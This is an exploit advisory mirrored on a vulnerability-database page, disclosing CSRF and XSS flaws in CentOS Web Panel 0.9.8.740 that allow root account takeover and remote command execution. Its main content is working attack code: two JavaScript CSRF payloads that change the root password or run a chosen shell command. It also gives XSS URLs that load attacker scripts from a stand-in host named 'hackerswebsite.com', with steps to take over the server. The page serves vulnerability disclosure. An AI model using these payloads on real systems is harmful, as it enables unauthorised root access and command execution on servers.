Lucene search
+L

CentOS Web Panel 0.9.8.740 Root Account Takeover / Command Execution

🗓️ 05 Nov 2018 00:00:00Reported by Numan OZDEMIRType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 208 Views

CentOS Web Panel 0.9.8.740 Root Account Takeover & Remote Command Exe

Related
Code
ReporterTitlePublishedViews
Family
0day.today
CentOS Web Panel Root Account Takeover <= v0.9.8.740 Remote Command Execution Exploit
5 Nov 201800:00
zdt
0day.today
CentOS Web Panel 0.9.8.740 - Cross-Site Request Forgery / Cross-Site Scripting Vulnerabilities
14 Nov 201800:00
zdt
BDU FSTEC
The vulnerability of the server management application CentOS Web Panel lies in the insufficient verification of the authenticity of executed requests, allowing a malicious actor to execute arbitrary commands.
12 Apr 201900:00
bdu_fstec
BDU FSTEC
The vulnerability of the server management application CentOS Web Panel lies in the insufficient verification of the authenticity of executed requests, allowing a malicious actor to execute arbitrary commands.
12 Apr 201900:00
bdu_fstec
BDU FSTEC
The vulnerability of the CentOS Web Panel application management application lies in its lack of protection for website structure elements, allowing attackers to compromise the confidentiality and integrity of the protected information.
23 Jun 202100:00
bdu_fstec
CNVD
CentOS Web Panel Cross-Site Scripting and Cross-Site Request Forgery Vulnerabilities
6 Nov 201800:00
cnvd
CNVD
CentOS Web Panel Cross-Site Request Forgery Vulnerability (CNVD-2019-18498)
7 Nov 201800:00
cnvd
CNVD
CentOS Web Panel Cross-Site Request Forgery Vulnerability
7 Nov 201800:00
cnvd
Check Point Advisories
CentOS Web Panel Cross-Site Scripting (CVE-2018-18774)
20 Dec 201800:00
checkpoint_advisories
CVE
CVE-2018-18772
20 Nov 201819:00
cve
Rows per page
`[+] Title: CentOS Web Panel Root Account Takeover + Remote Command   
Execution <= v0.9.8.740  
[+] Author: Numan OZDEMIR (https://infinitumit.com.tr)  
[+] Vendor Homepage: centos-webpanel.com  
[+] Software Link: http://centos-webpanel.com/cwp-latest  
[+] Version: Up to v0.9.8.740.  
[+] CVE: CVE-2018-18773, CVE-2018-18772 and CVE-2018-18774.  
[+] Detailed: https://numanozdemir.com/respdisc/cwp.pdf  
[+] Discovered by Numan OZDEMIR in InfinitumIT Labs  
  
[~] Description:  
  
Attacker can change target server's root password and execute command,   
by CSRF vulnerability.  
Also, there is a XSS vulnerability, hacker can exploit the CSRF   
vulnerability by this XSS  
vulnerability and run bad-purposed JavaScript codes on administrator's   
browser.  
So, CSRF/XSS to full server takeover.  
  
[~] How to Reproduce:  
  
Hacker can exploit this vulnerability (changing root password) by XSS or   
CSRF.  
Hacker will create a website and put those codes into source:  
  
<script>  
var url = "http://targetserver:2030/admin/index.php?module=rootpwd";  
var params = "ifpost=yes&password1=newpassword&password2=newpassword";  
var vuln = new XMLHttpRequest();  
vuln.open("POST", url, true);  
vuln.withCredentials = 'true';  
vuln.setRequestHeader("Content-type",   
"application/x-www-form-urlencoded");  
vuln.send(params);  
</script>  
  
(Update newpassword as the password that you want to change.)  
  
If hacker wants to exploit this by CSRF, CWP administrator will click   
hacker's website.  
But if hacker wants to exploit this by XSS, CWP administrator will click   
here: (admin's own website)  
http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/password.js></script>  
After exploiting, you can connect to server by Putty or access the CWP   
panel with the password  
that you have specified from 2030 port.  
  
The second vulnerability is remote command execution.  
Hacker can exploit this vulnerability (remote command execution) by XSS   
or CSRF too.  
Again, hacker will create a website and put those codes into source:  
  
<script>  
var url = "http://targetserver:2030/admin/index.php?module=send_ssh";  
var params = "ssh+command=whoami";  
var vuln = new XMLHttpRequest();  
vuln.open("POST", url, true);  
vuln.withCredentials = 'true';  
vuln.setRequestHeader("Content-type",   
"application/x-www-form-urlencoded");  
vuln.send(params);  
</script>  
  
(Update whoami as command that you want to run.)  
  
Same logic like top, if hacker wants to exploit this by CSRF, CWP   
administrator will click hacker's website.  
But if hacker wants to exploit this by XSS, CWP administrator will click   
here: (admin's own website)  
http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/command.js></script>  
  
// shouldnt think that CSRF/XSS are unimportant vulnerabilities.  
// for secure days...  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Nov 2018 00:00Current
0.5Low risk
Vulners AI Score0.5
EPSS0.04751
208